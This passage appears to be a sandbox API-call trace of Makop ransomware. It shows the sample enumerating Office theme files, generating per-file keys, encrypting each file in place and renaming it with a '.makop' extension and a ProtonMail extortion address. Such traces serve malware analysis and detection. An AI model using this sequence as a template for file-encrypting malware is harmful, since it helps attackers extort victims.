Size=0x30) returned 0x48c37a8 [0159.923] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0159.923] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.923] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0159.923] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.923] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.923] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.924] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.924] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.924] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.924] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.924] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.924] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x37d8a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x37d8a, lpOverlapped=0x0) returned 1 [0159.930] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x37d90, dwBufLen=0x37d90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x37d90) returned 1 [0159.933] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.933] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x37d90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x37d90, lpOverlapped=0x0) returned 1 [0159.935] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x37e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.935] SetEndOfFile (hFile=0xf0) returned 1 [0159.946] GetProcessHeap () returned 0x48a0000 [0159.946] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0159.946] GetProcessHeap () returned 0x48a0000 [0159.946] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.946] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0159.946] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.949] CloseHandle (hObject=0xf0) returned 1 [0159.949] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x537a8900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x537a8900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x53af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.eftx", cAlternateFileName="PERSPE~1.EFT")) returned 1 [0159.949] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0159.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.950] GetProcessHeap () returned 0x48a0000 [0159.950] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.950] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.950] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.951] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0159.955] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.955] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.955] GetProcessHeap () returned 0x48a0000 [0159.955] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.956] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.956] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.956] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.956] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.956] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.956] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.956] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.957] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.957] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.957] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.957] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.957] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x53af, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x53af, lpOverlapped=0x0) returned 1 [0159.962] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x53b0, dwBufLen=0x53b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x53b0) returned 1 [0159.962] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.962] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x53b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x53b0, lpOverlapped=0x0) returned 1 [0159.963] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.963] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.963] SetEndOfFile (hFile=0xf0) returned 1 [0159.970] GetProcessHeap () returned 0x48a0000 [0159.970] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.970] GetProcessHeap () returned 0x48a0000 [0159.971] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.971] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 130 [0159.971] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.973] CloseHandle (hObject=0xf0) returned 1 [0159.973] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x583f3d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x583f3d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbef29, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.eftx", cAlternateFileName="PUSHPI~1.EFT")) returned 1 [0159.973] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0159.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.975] GetProcessHeap () returned 0x48a0000 [0159.975] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.975] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.975] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.975] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0159.980] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.980] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.980] GetProcessHeap () returned 0x48a0000 [0159.980] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.980] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.980] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.980] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.981] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.981] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.981] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.981] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.982] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.982] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.982] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.982] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.982] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbef29, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbef29, lpOverlapped=0x0) returned 1 [0160.002] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbef30, dwBufLen=0xbef30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbef30) returned 1 [0160.011] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.012] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbef30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbef30, lpOverlapped=0x0) returned 1 [0160.017] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.017] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbf004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.017] SetEndOfFile (hFile=0xf0) returned 1 [0160.029] GetProcessHeap () returned 0x48a0000 [0160.030] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0160.030] GetProcessHeap () returned 0x48a0000 [0160.030] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.030] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0160.030] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.032] CloseHandle (hObject=0xf0) returned 1 [0160.032] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845abe00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x845abe00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.eftx", cAlternateFileName="SLIPST~1.EFT")) returned 1 [0160.032] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0160.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.034] GetProcessHeap () returned 0x48a0000 [0160.034] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.034] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.034] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.034] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0160.038] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.038] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.038] GetProcessHeap () returned 0x48a0000 [0160.039] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0160.039] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0160.039] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.039] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0160.039] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.039] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.039] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.040] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.040] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.040] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.040] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.040] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.040] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6c8d, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6c8d, lpOverlapped=0x0) returned 1 [0160.042] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6c90, dwBufLen=0x6c90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6c90) returned 1 [0160.043] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.043] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6c90, lpOverlapped=0x0) returned 1 [0160.043] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.043] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.043] SetEndOfFile (hFile=0xf0) returned 1 [0160.050] GetProcessHeap () returned 0x48a0000 [0160.050] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0160.050] GetProcessHeap () returned 0x48a0000 [0160.050] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.050] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 129 [0160.050] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.052] CloseHandle (hObject=0xf0) returned 1 [0160.053] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e861600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2e861600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.eftx", cAlternateFileName="SOLSTI~1.EFT")) returned 1 [0160.053] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0160.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.055] GetProcessHeap () returned 0x48a0000 [0160.055] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.055] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: 